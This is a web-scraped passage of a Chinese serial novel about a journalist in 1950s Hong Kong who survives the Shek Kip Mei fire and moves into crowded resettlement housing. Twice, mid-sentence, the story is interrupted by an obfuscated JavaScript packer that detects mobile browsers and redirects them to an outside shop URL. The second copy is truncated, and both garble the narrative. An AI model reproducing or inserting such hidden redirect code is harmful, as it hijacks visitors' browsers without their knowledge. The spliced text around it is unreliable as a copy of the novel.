邹千里站在那里,用餐刀切着烤鸡,割成一块一块,分到每个人的盘子里,听了她们这样的对谈,不由得眉头微微一皱,对着太太说:“好了,尽讲这些无聊的话做什么?” 转头将一条鸡腿放在梅思的碗里,含笑道:“梅小姐,这一阵研修金融学,有什么心得?” 梅思咯咯地乐:“我哪里称得上研修金融?不过随便看看罢了,实在深奥,有许多不懂,要向先生讨教。” 邹千里眉梢一挑:“比如什么?” 于是两个人便谈起来:货币……金本位…… 许多话从邹千里的口中涌出来,手里的餐刀和叉子悬空停在那里,几乎一动不动,就只顾和梅思讲着,梅思不时追问几句,邹千里谈兴更浓,甚至要东妹找出一个本子,在上面画了曲线图,给梅思讲解,太太几次想插话,把话题转过来,都马上便给丈夫又带了过去,白明珠竟是给晾在了一边,一时间颇有些尴尬,邹茵和邹冉则是你瞧瞧我,我望望你,挤眉弄眼,埋头只顾吃饭。 好在梅思察觉到太太的冷落,转过头来笑着问:“端午的时候,听太太说想要去女青年会做些事情,可有过去么?” 白明珠见终于有人留意到自己,便稍稍抖擞精神,笑道:“她们倒是有请我,我这一阵时不时也去走一遭,比总闷在家里强。一个女人,还是要出社会,不能只守在家中,眼睛里只看到家里这一点点事,眼界就小了,到外面才知道,世界多么的广大,又是有多少事情等待我们去做啊!……” 梅思双眼一眨不眨望着她,一边听一边频频点头,白明珠谈兴更浓,感慨愈发深刻了,从个人的小我到世间的大我,阐发感悟:“一个人,不能只局限在自己的喜怒哀愁之中,人世毕竟广阔得很,那许多人的悲欢离愁,都很需要我们的关切,一想到这些,胸怀便开阔起来。” 趁她的情怀抒发有片刻的空隙,梅思笑道:“我初来香港,便是住在那里,女青年会许多人都是善良的。” 然后又问邹茵和邹冉的功课,那两个都懒懒的,只约略说几句,白明珠代答了一篇话,满是夸赞。 邹千里在一旁等得不耐烦,已经连吃了几块烤鸡,把厚厚的牛肉馅饼也吃了半个,沙拉吃了三匙,终于从中截断了话头:“梅小姐,可有买股票么?” 梅思转头迎着他的面孔,笑着说:“刚刚买了一点,只是这些天没有怎样去看,也不知是涨还是跌。” 邹千里问她买的是那几支股票,梅思说出三个公司的名字,邹千里点头:“听闻都还可以,不出意外总不会跌。” 既然说到买股票,梅思自然要问:“先生买了哪几支股?涨得如何?” 终于得她问到这件事,邹千里瞬间挺直了脊背,满面得意,手里握着调羹说:“和记洋行、九龙巴士、香港置业,近来都涨得很好。” 然后他把舀了满满一勺土豆泥的调羹放在盘子里,目光灼灼地望着梅思,一字一顿地说:“一个人,必须迎合潮流,天天奋斗求生下去。” 《歧路佳人》里面的话,此时说出来,分外有底气,也因为如此,他就更喜欢说这句话,日常在家中,说了一次又一次,时时提醒一双儿女,“居安思危”,举着那本小说发挥议论:“苏青这个人,我昔日竟看错了她,以为不过是鸳鸯蝴蝶的变体,此时用心来读,居然经国济世,比如这一句感想,便是血泪之中得来,不是老成世故的人,不能够说出这样话来。” 真的是太刺人的心,小眉的公公鸣斋先生,曾经很是阔绰,然而当情势改变,不能适应新的时代,携带许多钱去上海,在当时自然以为可以坐享一二十年,纵然公债赔了钱,余下的依然有许多,哪知战争期间物价飞涨,货币贬值,原本看起来很是可观的钱款,便抽缩了许多,仿佛本来厚厚的一沓钱,一下子便变成薄薄一叠,竟然连数年都难以支撑。 邹千里便想到自己,自从国民政府丢失了大陆,自己就好像成了《飘》里面的艾希礼,旧世界的亡魂,行尸走肉存在于这世间,经济的窘迫与前途的失落叠加在一起,让人简直难以承受,所以很是失望沮丧了一阵。 然而像自己这样的人,终究不会困顿很久,那一回为庆祝梅思的新居,与许久不见的好友常桂廷再会面,大家谈起香港的经济,说到股票,越说兴致越浓,回到家中之后不久,自己便重新开始看价格,买股票,到如今大半年时间,已经小赚一笔,略略弥补柴米开销。 邹千里越说情绪越激动,到后来轻轻拍着桌子说道:“这一年只是小试牛刀,当年在美国,还有民国的时候,我都有买卖过股票,有些经验,不过如今毕竟时代变了,香港的股票市场与美国和民国都不很相同,须要谨慎,我只投了少量资本进去,试一试水,如今看来还不错,到明年我要投更多资本进去,钱放在银行里,只吃利息,要把人饿死了,那一点点利息,存款的人其实是损失的,钱就是要用起来,才是资本,而资本是有生命的,能源源不断带来收益。” 从前买股票,都是只当玩,不指望靠它来生活,现在可不行了,养家就靠股票,不再是那样的游戏心态。 说到这里,邹千里忽然想到:“啊,梅小姐的那本书,好该还给你了,一直放在这里,总想还,总忘了还。” 梅思笑道:“就留在这里吧,我早就看完了,不想再看。” 这一个平安夜,谈话格外热闹,到晚间十点多,尽欢而散,梅思回到家中,已经将近十二点,赶快洗洗睡了,到第二天十二月二十五日早上,倒是不忙起床,昨晚白明珠拿了几个馅饼给她,还有蛋糕,今天早上和中午的饭食都有了,点起炉子来,热一下就可以吃了。 虽然是圣诞,报馆也依然忙碌,梅思白天跑了几个地方,回来又要赶稿,一直到了六点多,才得以离开报馆,回到家中,看一下食品柜,馅饼还剩一个在那里,梅思点燃风炉里的火,烧了一个干菜汤,白菜干也来不及泡软,清洗了就直接丢进汤锅里煮,配了热馅饼,便是一餐晚饭。 一边吃着饭,梅思一边还想,好在是冬天,馅饼不会腐坏,倘若是夏季,到这时定然坏掉了,股票若是真能赚钱,倒可以买一个冰箱,便能存许多东西。 晚饭之后,梅思快手快脚收拾了锅碗,烧水洗脸擦身,又灌了热水袋,用柴灰压灭了残存的火星,望一眼闹钟,不到九点,她转头便熄灯钻进了被窝,昨夜终究回来得晚了,今天感觉有些累,气力不很足,到这时很该早早睡觉,恢复一下力气。 梅思在棉被下面蜷缩着腿,抱着暖水袋,僵卧了一会儿,终于暖了一点,不再冷得难受,便闭上眼睛,朦胧着睡去。 隆冬的夜晚,又是在铁皮屋这样简陋的住所,为了寒冷,人睡得不是很深沉,不过终究昏昏沉沉地做梦,梅思梦到自己靠近了火炉边,炉膛里通红的火焰旺盛,给人带来热量,驱散了冬夜的冰冷,让人很是温暖幸福,只是那火实在太旺,人又坐得太近了,渐渐地便感到了灼烤,简直要冒出汗来,周围也哄乱起来,仿佛有许多人在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14549243|152646||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话。 为了这火力,梅思本来已睡得香浓,到这时却有些无法忍耐,不得不睁开眼睛,她略清醒些,便立刻感到,真热!而且果然有许多人在外面喊叫:“起火了!” 梅思的脊背登时抽搐一下,翻身一骨碌从床上爬起来,从床头摸到手电筒,打亮了一照,铁皮墙已经发红了,她掀开棉被跳到地面,电筒的光飞快照向四面,把覆在棉被上的棉袍扯起来披在身上,又从椅子上拿起皮包,这时候房门上发出巨大的声音,几下那薄薄的铁皮门便倒下来,一个消防员拿着斧子站在那里,冲着梅思便叫:“快跑!” 外面烟雾弥漫,梅思什么都顾不得,一头便冲进了烟火之中,跟着其她人一窝蜂往火小的地方跑,好在路上有消防局的人员指挥:“走这边!” 总算未曾没头没脑反跑进火堆里面去。 这一夜混乱非常,梅思只觉得自己耳中充满了各种声音,人的呼叫声,火苗的噼啪声,房屋倒塌的声音,让耳膜肿胀,夜空亮如白昼,火光烧红了半边天,比大年夜的烟花要明亮得多,只是没有那样的绚丽喜庆,火光之下,只觉恐怖。 到天微微明了,骚动这才稍稍平息,梅思抱着自己那一点点东西,站在山坡上往下面望,残火仍然在烧着,虽然小了许多,身边是人们的哀叹啜泣。 梅思转头寻觅着自己熟识的人,贺家姐姐不知在哪里?她一家都好吗?还有林大姐呢?看着看着,她感到脚上冰冷,低头一瞧,之前从家中跑出来太匆忙,居然没有穿鞋,两只脚已经给冻得通红,而且这时才感觉到,脚底生疼,好像给什么扎破了。 梅思定了定神,从皮包里取出铅笔和笔记簿,迅速记录了从昨夜到今晨的经历,眼望着周围,笔下作了文字速写,然后便一瘸一拐走到路上,好容易搭了一辆车,到了报馆。 这一天的星都报,破天荒不全是娱乐新闻,已经排好的版面紧急撤换,往里面塞了轰动的新闻,“本报记者梅山”亲历的石硖尾大火,毕竟自身火场逃生,描述起来分外生动,于是这一份花边小报登时便显得“忧国忧民”了,以至于贾经理指甲弹着报页说:“我们从此或者竟可以往正经的报纸发展,将来真的能成《华侨日报》那个样子,也未可知。” 这便是脱离了小市民的趣味,趋向于知识分子的层次。 方燕茹抿着嘴笑:“到了那个时候,经理便是报界的头面人物,到哪里都受人尊重。” 再不是如同现在这般,不过是个小报的社长,虽然也算是报业人士,然而给人瞧着品格下流,不很入智识阶层的眼。 转头瞥见梅思,连忙又道:“只可惜梅小姐这一回损失可大了,钱财毕竟身外物,两只脚这一阵走路吃力。” 蔡静怡刚刚帮她买来的棉袜和棉皮鞋,还不仅仅是没有鞋,自己方才看她那脚,都给碎石瓦片扎破了,清理了伤口,上了消毒药水,又用纱布缠了几圈,此时走路脚还疼,虽然文章精彩,这代价也太大。 梅思怅然道:“我还算好了,不知有多少人烧伤,这一场大火烧去成片的房屋,那许多人流离失所,实在难捱。” 江振波扶了扶眼镜:“确实是为难啊。啊,梅小姐,我正要问你,你的屋子也烧了,要去哪里住呢?” 在石硖尾置业可是很有风险,当初看到梅思买房,自己还羡慕过,哪知昨晚一把火,都烧了,人能保全就是万幸。 梅思点头道:“我已经想好,今晚就去女青年会。” 经理贾文庸的目光透过眼镜片射在梅思身上:“梅小姐,你昨夜那一场惊魂,今天早一点下班吧。” 着实狼狈,身上头发上都是烟灰,况且星都今日有她那一篇稿子,够撑起半个版面,让她早早回去,再把昨夜的情形好好回顾一番,详细描写,明日还能连载,到这时已经消息已经确切了,好一场大火啊,遭灾的约有数万,这可是一个大新闻,能写许多日。 梅思正与同僚议论自家的善后,忽然报馆门“咣当”一声推开,一个女子闯了进来,头发挂了一绺在鬓边,眼神四下扫,一眼望见梅思,她一把将手抚在胸口,重重呼出一口气:“啊哟幺姐啊,你在呢,可把我吓死了!今天一早太太听无线电,你那里着火了,也不知你怎么样,我刚去了石硖尾,全烧没了,急得我要哭,又一想你是在这家报馆,我便又赶了来,好在看到你,你没事就好!幺姐,太太说了,若是看到你,便要你今晚到家里去住呢。” 62.第六十二章 挖角 第六十二章 挖角 白明珠那边的盛情难却,于是当晚,梅思便住到了官塘邹公馆。 梅思七点多到了那里,白明珠一看到她,便一叠声地叫着: “啊哟哟可吓死我了,今天一听到无线电里面说,我一颗心就扑通扑通地跳,赶紧打发东妹去瞧,好在你没事。你带了多少东西出来?……啊呀只这么一点点,可惜你这一阵攒下来的家当,如今都没处找寻,不过这都是小事了,只要保得人无事,将来再置办家业。你这一回是大难不死,必有后福,往好处想,只怕不久便要时来运转。” 梅思微微苦笑:“太太,借你吉言。” 虽然说钱财身外物,可是烧掉了也让人心疼,当日午间休息,情绪终于稍稍平静,一边吃饭,一边在心中默默清点这次的损失,床铺桌凳都不说了,衣箱没有拿出来,那里面放置物品虽不多,也有几件衣裳,另外锅碗都没了,还有放在外面的十几本书,自然都烧成了灰,纵然多数财产都收藏在梅林之中,可是这一场火之后,算一算也损失上百元钱,着实有些肉痛,之后要省俭好一阵,才能弥补得回来。 然后又说:“多谢收留。” 白明珠搀着她的手,一脸怜惜:“怎么说这样的客气话?人在异乡,本来就该互相扶持的,同来自桂林,就都是亲人。我听东妹说,你的脚伤了?快坐下来给我看看。……啊哟哟,怎么弄成这个样子?这得有多少碎瓦片扎进去,可得多疼啊!” 邹千里从旁瞥了一眼,皱着眉不住地咧嘴:“啧啧啧……” 白明珠一连串地说:“你住过来,就先不要走了,好好将养身体,这一阵倘若可以,也不要到报馆去,你的脚怎样走路呢?” 邹千里应声道:“我开车送她去。” 白明珠转头冲着他:“你能送她去报馆,还能送她访问那些明星?” 邹千里于是不出声。 梅思笑道:“其实不过看着吓人,早不疼了。” 白家的小姐少爷也都出来看热闹,邹茵望着梅思正在穿上袜子的脚,呲着牙说道:“我听说共军当年跑了上万里,那些人脚上也这样么?” 邹千里登时瞠目:“别乱说!” 邹茵噘了嘴到一边去了,邹冉呲牙一乐,走去打开冰箱,拿蛋糕来吃。 这边东妹则是赶快到厨房拿饭。 这一个晚上,白太太一家人围着梅思,反复安慰,梅思有一点哭笑不得,在报馆,这样的话早已经给同僚反复说过十几次,只不过此时听故乡人再讲起,有一种别样的亲切,其实她们倒是少讲几句的好,本来情绪已经逐渐平息,这一次有惊无险,白天后怕过一阵之后,已经镇定下来,结果此时听她们的劝慰,好像自己仍在恐慌之中,那种心情纵然本来没有,这时候也要有了,倘若半点都不慌张,倒仿佛对不起她们。 将近九点,白明珠体贴梅思昨晚半夜没睡,便要她赶快去睡了,次日二十七号,虽然是礼拜天,但也要去报馆,梅思婉拒了邹千里开车送她的提议:“有点太过兴师动众。” 很夸张很戏剧化,昨天东妹去报馆找自己,已经很引人侧目,哪里能够接受邹千里驾车接送?好说歹说,总算是没有出动邹家的汽车,另外要推辞白明珠的好意也颇费了些力气:“虽然是礼拜天,也不好不去的,要校对礼拜二的稿件。” 星都不是日报,一个礼拜出四期,礼拜二、礼拜四、礼拜六和礼拜天,逢年过节出特刊,版面虽然不大,杂志大小的页面,总共不过四版,不过因为出版还算频繁,采编稿件的责任也繁重,老板昨天就打过招呼:“梅小姐,那一场大火,你好好写一写,我们星都要靠这个有别于人。” 香港并不只是星都一家小报,梅思经过报摊,眼神只随便一扫,什么《明星》、《绮丽》,便是七八个名字入目,多数资本不厚,文章也敷衍,星都算是其中比较用心的,还派了记者四处采访,有的小报便只是抄,添油加醋,所以市面上的小报,旋生旋灭,有的只见过五六期,之后再也找不到了,说是“其兴也勃,其亡也忽”都是过誉了,那是来也悄悄,去也悄悄,无声无息的。 社长贾文庸是有心把星都长久经营下去,甚至未来期望办成一份有名望的报纸,向来对稿子有要求,这一次抓住机会,不肯放过,定要一周都讲述“火劫余生”的故事,这惊悚,堪比绑架案,梅思今天已经安排好,要回石硖尾看一看,火场现今怎样了,再写一篇文章,另外也打听一下邻居熟人是否安好,算是公私两便。 邹千里这时十分明白:“你不要拦阻她,她这一行,一日不做,一日不食的,纵然不在意这几日的薪水,得罪了老板,后面难做。” 比不得太太,养尊处优。 白明珠于是便不再言语。 之后这一个礼拜,梅思都住在邹公馆,她是有心去女青年会的,白明珠硬是留住她:“等身体好一些再过去,你脚上伤了,一个人住那边,冷冷清清,谁照应呢?住在我这里,起码一日三餐有人料理,再煲了补汤你喝,好好调养身体。我和你说哦,这个方子,乃是个老神仙给我的,是用的红枣、桂圆、当归、白术、西洋参、北芪、淮山、枸杞,在陶罐里煲上半个时辰,热热地喝了,甜丝丝,纵然是药,也和糖水一样。自从来了这香港,我便觉得胸闷气短,从梳妆匣里翻出这个方子,认真煲来喝,早年记下来的,只是当初年轻,并不在意,如今可是离不得它,若不是每天的汤药,实在撑不下来,本来用的是党参,我吃着有些发躁,便换了西洋参,清润些。不单是我喝,东妹也喝,你看看她,白白胖胖,都是这汤药的功劳。” 东妹在一旁赶忙重重点头。 梅思抿嘴一笑:“好呀,我也尝尝太太的神仙汤。” 在这边一直过了元旦,梅思晚间坐在床上,看看自己的脚底,伤口多数结痂,并没有感染,如今走路已经没有太多不便,于是到了一月二号,便坚定地向白太太提出,要搬去女青年会。 白太太起初是劝她:“过了年再去,反正也不久了。” 到后来看看实在苦留不住,只得叮咛东妹:“你帮着幺姐把铺盖搬到那边去,看看短少什么,到家里来拿,咱们这边有使不着的东西,便拿去用,省了花钱去买。” 梅思笑着道谢,与东妹便离了邹公馆,临别的时候,白太太还珍珍重重地将那药方抄录下来,交给梅思:“倘若得闲,便自己煲来吃,你也是三十岁的人了,好该自己保养,再不能像从前那样,风里雨里只顾拼命了。” 从前与白明珠虽然只是应酬交际,并不真正知心,如今自己落难,在这里住了几日,此时又听她这几句话,梅思心肠不由得便是一动,眼眶也一热,笑道:“太太,我记得了。” 白明珠又张罗让东妹把公馆中几副补药拿来,给梅思带去,依着白明珠,陶罐也要带一只过去,梅思忙推辞:“磕磕碰碰不好拿,到那边再寻吧。” 这才罢了。 梅思自此便又住进女青年会,这一住不知要多久,石硖尾烧成了白地,一片废墟瓦砾,如今再要找铁皮屋安身也不可得。 这一场火灾,好在少有人遇难,最低限度,梅思熟识的人,后来都晓得平安,三月中旬的一日,她提了一包东西,去探望贺健莲,与许多石硖尾人一样,她家也是住进深水埗的临时房舍,一家人暂且栖身。 坐在房屋前的石头上,梅思望望四面:“又有了点样子了。” 烟囱里冒出炊烟,门外是晾晒衣服的架子,许多人在房子之间忙碌。 贺健莲也不知是该哭还是该笑:“总算搬到这里了,之前就只搭了个窝棚,正冷的时候,四面钻风,要把人冻死了,如今两层楼哩,倒算是因祸得福,高升了,水泥房哩!” 居然还有公用的自来水和厕所,比之前木屋的规格要提高些,只都是临时住所,因此:“还不知能住多久哩,虽然这里也算不错了,可是晓得早晚要搬家,便让人着急。” 梅思宽慰道:“健莲姐你放宽心,再忍耐一阵,你看那边已经开始打地基,要建公屋呢,听说有七八层,等房子建好,我们就都可以住进去,那可比从前的铁皮屋好许多,比这里也要好。” 听了她的解劝,贺健莲的眉头稍稍展开一些:“唉,就盼着这楼房快点盖好,可把人等得心都烧焦了,到底还得熬多少日子?从前把我们丢在这里,都不闻不问,这一场大火,终于有人管事,这些人是不看到出了大事,不肯动动手指的,总算盖楼了,不然的话,就只等我们悄没声地自生自灭哩!” 梅思微微一笑,轻轻点头,健莲姐的话很有道理,别看没读过书,一针见血,这几年涌入了大量难民,九龙北密集成簇的木屋 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又过了几天,这一日梅思回到报馆,忙碌了整整一个上午,午饭后,刚刚歇息片刻,老板贾文庸咬着一根牙签,笑嘻嘻地冲她招着手:“梅小姐,你来一下。” 梅思放下手里的报纸,站起身来轻快地走到他的桌前,笑着问:“经理,什么事?” 贾文庸两只手肘撑在桌面上,右手朝她比划着:你靠近一点。 梅思于是便弯下腰,与他更加接近了。 贾文庸挤眉弄眼,做着鬼脸:“梅小姐,石硖尾那一场大火,你可是很出风头哦!有大报向我们要转载,这可是从没有过的事情,我们星都的文章,也能给那些高高在上的报社转发,那些人可向来是一本正经的,不很看得上我们这样的小报。” 一提起来就让人感觉不忿气,虽然是供人玩笑的小报,不过毕竟都是报界同仁啊,何苦那样看不起人?人都是有自尊心的嘛,这种时候很该用一下西方的“平等”论。 梅思本以为是什么大事,原来只是这件事,便含笑说:“经理啊,都已经过去好久了,况且那一阵,我们的报纸虽然博了关注,但灾民的日子实在难过。” 说到这里,便蹙起眉头。 确实是一桩惨剧,贾文庸便也不好再得意,垂下两颊的肉,悲悯两句:“是啊是啊,但凡有大新闻,总要有人倒霉。啊呀梅小姐,这一阵有人向我打听你呢,说你是一个可造之材,文笔很好,只是写一些明星花边,实在有点可惜,如果能够多写一点社会民生,或者更好一些。说到这个,梅小姐,我也觉得你是有这方面的才能,就是昨天,我们还议论起,当局的经济政策,你很有见地,只可惜大火的新闻已经不再是头条,所以不好登出来呢。” 白占版面,毕竟是娱乐新闻,不是时事评析,不过当时梅思说的那几句话确实很不错,“‘天地不仁,以万物为刍狗’,并不是这样的用法,所谓的自由经济,不过是对弱者的漠视,达尔文的理论如果用在人群之中,就是弱肉强食,人作为万物之灵,难道就是这样么?” 当时自己嘬着牙抖着腿,摇晃着点了点头,别说梅思可真行啊,她倒腾股票倒也罢了,连自己都没想到要去碰的东西,梅思敢碰,为了钱也是真能拼。 不过梅思不是一心只顾了赚钱。 一般的小市民,一日三餐已经够忙,哪有闲情再去想别的?生活艰辛倒是会发发牢骚,却未必有力气想得那样深入,看看本报梅小姐给阐发的,从老子到达尔文,中国古典西洋近代她都能给串起来,学贯中西啊,虽然是小报鸽子笼版本的。 不过确实得说,梅小姐的脑子里,还是有些东西的,难怪有人会看上了她。 梅思微微一愕,转瞬镇定下来:“多谢厚爱,不过我对时政不感兴趣。” 贾文庸哈哈大乐,腾地一下站起,伸出手来重重拍着梅思的肩膀:“梅小姐,我就知道你是个讲人情的,大家同僚一场,关系这样好,怎么忍心抛下便去了呢?况且那些人不在意我们,我们自己不能看轻了自己,明星花边又怎么样?这才是大家真正喜欢的,只怕许多年之后,市井之中只记得这个,所以好好干,以你的资质,前途大有可为!” 唐玄宗的文治武功,如今在香港街边问一问,有几个人还记得什么?若是读到了中学,或许知道安史之乱,那也不是什么有面子的事,倒是明皇与杨贵妃的风流韵事,千年流传,那才是永恒。 63.第六十三章 书店是我们的避难所 第六十三章 书店是我们的避难所 这一个晚上,梅思回来女青年会的住处,吃过晚饭之后,一边在溪边刷着锅碗,一边缭乱地思想着当天的事,经理说有人要请自己去采写一些正经的新闻,乍一听到这个消息,心陡然猛跳起来,不过片刻便平息了,以自己的学养,怎么能够写那样的大新闻? 来香港之后,梅思也看报纸,多是《大公报》,那上面对于时政的议论,是何等的深刻犀利呢,那样的学识,自己怎么能比得了呢?梅思晓得自身,在延安虽然读了两年书,但学问并不深厚,相当数目的课程是职业技术,即使是政治经济之类的科目,当时尽管以为打开了眼界,比从前截然不同,多年之后再看,其实相当单薄,只懂得一些教条,自己的知识修养,比人家正正经经几年大学读出来的,要薄弱得多。 更何况香港的报界,人才济济,什么东吴大学、清华大学、复旦大学,都是响当当的招牌,泛着金光的,单单如此还不够,有人是从英国美国留学回来的,说起外国的哲学家,都是自己没听过的名字,施特劳斯,自己从前单知道他是作曲的,胡瑾很喜欢他的《南国玫瑰圆舞曲》,然而人家和自己说:“是列奥·施特劳斯,不是约翰·施特劳斯。” 这样的文化差距,让自己怎样去弥补呢? 自从离开女大,自己就没有怎样读过书,在梅思的记忆之中,过往的日子一直都是匆匆忙忙,不是忙着革命斗争,就是忙于谋生,少有空闲认真读一读书,倒不是说完全的不读,只是东一鳞西一爪,十分杂乱,不成个体系,不像人家正经做学问的人,有个要通读的书单,先读什么,再读什么。 比如说邹千里,和自己略谈一下经济学,便开出一个书目来:“这几本书倘若有兴趣,都找来读一读比较好。” 一环连着一环的,像是自己这样子读书,纵然读上三四十年,也顶多修成杂家,成不了专家。 所以倘若真的有人来找自己:“梅小姐,要到我们报馆来么?写一些社会新闻。” 只怕自己是不敢答应的。 更何况,到了如今,自己也实在不愿再去议论什么,哪怕是写市井民生,归到源头也仍然是政治,报界争端也激烈,比如《星岛日报》就与《大公报》针锋相对,梅思如今是一看到各种政治观点的交锋,就觉得脑壳疼,实在不愿搅进那样的旋涡,当年自己是爱读《左传》的,议论“残民以逞”,慷慨激昂,如今则常读《庄子》,“吾将曳尾于涂中”,人生短促,只希望能过平静的生活。 这两个原因在梅思而言,究竟哪一个更重要一些,其实难以分辨,只是第一个缘故不很方便对社长讲出,仿佛是贬低了报馆:“实在才疏学浅,只好写一写明星新闻。” 便只说了第二个。 这一年其余的时间,对于梅思有些难熬,一个月总有三次两次要去石硖尾,看一看安置灾民的楼房建得怎么样,到了年尾,终于建好,四处流离的人喜气洋洋,连廖长民都激动起来:“上楼!上楼!” 人们匆匆搬进了崭新的楼房,那几天热闹非凡,连女青年会都在此有活动,一群会员在这里协助管带孩子,照料老人,还煮了热茶给大家喝,如此寒冷的天气,有一碗热茶汤,很能温暖人的肠胃。 梅思提着自己的行李,来到H座,上了七楼,一共七层楼,自己给分到了顶层,来到房间门前,房门大开,已经有人在里面,梅思轻扣了两下门,里面吵闹一片,没人问一声,她便径直走了进去,门内,一个青年妇女正在埋头整理包裹,梅思招呼道:“我也住这里,你要用哪边?” 那个二十八九岁的女人抬起头来,瞥她一眼,道:“我占这边,你用那边吧,回头我们中间挂一个帘子。” 便复又低头打开一只柳条箱,三个孩子在她腿边蹦跳喊叫着,顶大的看来也不过十岁。 梅思暗暗叹了一口气,到了那一边,将自己的物件摆在那里,一时有些无聊,便倚靠着墙壁,看着对方忙乱。 过了一阵,“噔噔噔”一阵脚步声,是高跟鞋踏着水泥楼梯的声音,不多时一个人闪了进来,目光四面一扫,定在了梅思身上:“啊呀梅小姐,已经搬进来了!我方才四处找你,只是不见,便想着是不是已经上了楼,果然便在!” 梅思认清了来人,忙笑道:“白太太,多谢费心想着,今天是与会中的姊妹一起来帮忙么?” 白明珠连连点头:“是啊是啊,做善事,心里畅快,可不要说,虽然天气冷,这样动一动,头上倒见了汗。” 梅思笑着说:“运动一下,可以活气血。” 倒是出来走走的好,比只是闷坐在家中强些,从前自己见了白明珠,便是听她说东又说西,无尽地追忆往昔,“那时节浮瓜沉李,赏心乐事,真是天堂一样的日子”,简直不像四十的人,而如同七十岁了,如今在女青年会有事情做,虽然说不上脱胎换骨,精神倒是振作了一些,不再仿佛那样提早衰老的暮气沉沉。 白明珠望向那一边,微微一蹙眉:“这是与你同住的人?” “是啊,啊哟,还不晓得要怎样称呼?太太您尊姓?” 那女子头也不抬:“阿拉姓苏,苏凤香,侬是哪个?” “我叫梅思。” “梅花的梅么?” “是的,思念的思。” “阿拉现在忙着,回头再同侬说。” 见她头也不抬,白明珠的眉头便皱得更深,悄悄地对梅思说:“统共一百二十尺,要住两家人,你可怎么熬?” 按照熟悉的算法,不过十一个平方米,硬是塞了五个人进来,自己只在这里待了片刻,便脑仁疼。 梅思微微苦笑:“人多地方少,便只好这样。” 原本的石硖尾,挤住了许多人,一场大火把房屋都烧光,如今虽然盖了这么几幢楼房,然而若是每户一间,实在不够住,所以之前就已经知道,安排房屋的原则是,若是一家有五个人,或者五个以上,便给一间,倘若不够五个人,便要两户凑一起。 当时一听说这个,梅思便晓得,自己定是要与人合住了,像是自己这样一个人,肯定不能独占一间屋,那样太奢侈了。 白明珠的眉心拧成个川字:“照这样,你还不如去住女青年会。” 彼此心知肚明,梁园虽好,不是久留之地,邹公馆不是梅思能够长久居住的地方,不过哪怕是住女青年会,也比这里要强。 梅思轻轻笑着:“没关系的,只当是住宿舍,更苦的时候我也过来了,况且往好处想,有人合住,彼此有个照应,倒是也好。” 白明珠目光向下一落,扫了一眼那几个孩子,低声道:“只怕到时是你照应别人,别人难照应你。” 转而便叹息:“唉,只可惜如今不是当年了,倘若还在桂林,这一点事情哪值得发愁呢?我家几幢房,借一间你住就是了,可是现在……” 自家地方狭小,难以长久招待客人,这就是人落魄了的难处,假如是富贵人家,这种事算什么呢?比如那荣国府,薛姨妈一家来了,划出一个空闲院子给亲戚住就是了,互相不会打扰,又省了在外面另找房子的钱,从前读这段,不觉得有什么,因为自家在桂林也有几处产业,如今再想起来,可是感慨非常。 见白明珠的架势,仿佛滔滔又要说起从前,梅思忙拦住:“今日刚搬进来,一切草率,过几天安顿好,请太太先生过来吃饭。” 白明珠登时便笑:“你这里还不比当初,独自一个的铁皮屋,这房檐下一家不是一家,两家不是两家,你的心意是好的,我们倘若真要过来,只怕邻居不便,反让你为难。唉,你这屋子里,床还没有呢,今晚睡哪里?桌椅板凳都没得,你怎么吃饭?” 梅思笑道:“前几天和木器行说了,今天下午送一张床,一个书桌进来,想来再过得一刻便能到了。” 正说着,门外男人声音叫喊:“梅小姐在这里么?你的东西!” 梅思快步出外,白明珠也跟出去,很快一只小小的方桌抬了进来,工友又将几块木板拼接起,不多时靠墙便立起一张窄窄的床,梅思将行李展开来,取出被褥铺在床上。 白明珠微微咧嘴:“啊呀梅小姐,这么细细一条铺啊,你夜间睡熟了翻身,不要落到地上来。” 梅思咯咯地乐:“那还不至于,我警醒着呢。” 她们两个这样聊着,那边苏凤香一边忙碌,一边飞快地抬眼瞄一眼这边,耐着性子等着,过了一阵,那个白白嫩嫩的太太终于告辞走了,她直起腰身便说:“梅小姐,有件事现在便要商量定,这屋子是按照人头分的,定要五个人一间,侬那边是一个人,阿拉这边四个人,所以阿拉便要多划一些地方出来,帘子阿拉买,就在这里挂……” 说着走过来,伸手便在房间三分之二处画了一道虚虚的分界线,她那边是二,梅思这边是一。 梅思略看一眼,点点头,道:“便这样吧,你家人多些,若是地方小了,不够用。” 见这“楚河汉界” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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梅思一排一排书名浏览着,心情越来越愉悦,到后来简直有了一种微醺的感觉,现实诚然是局促的,然而人的精神世界会有无穷的宽广,梅思觉得自己好像吸了轻度的鸦片,虽然平生从不碰这种东西,日常连香烟都不肯吃——蔡静怡可是有时候会吸上两支,说是“一支烟吸完,就能写出稿子,你要不要也来试试?”自己从来不试。 她将架子上的书一本本抽出来,翻上几页,又放回去,便这样消磨了一个上午,中间陆续有人进来,恍惚听到有人在说:“《我与红军》……龚楚……” 到了午间,梅思终于抱了一捧书,到柜台那边,男店员那蜡黄的脸瞬间活动起来,拨打着算盘,一本本加减着数目:“一五一十,一五二十……小姐,你买鲁迅的书啊!真的是很有学问,看这样深的书。这套书很好的,一九三八年版,只可惜明明是二十本,偏偏少了三本,如今只得十七本,便大大折了价钱,虽然如此,买这么多的书,也不少钱,小姐是爱读书的人啊!唔这里还有两本,一共十九本,小姐你自己拿回去吗?如果不急,您给我一个地址,我回头把书包好,给您送过去,自己背回去很沉的。你尽管放心,我们是二十年的老店,办事很稳妥的。” 梅思含笑:“帮我送去吧,多谢你。” 说着取出几张钞票。 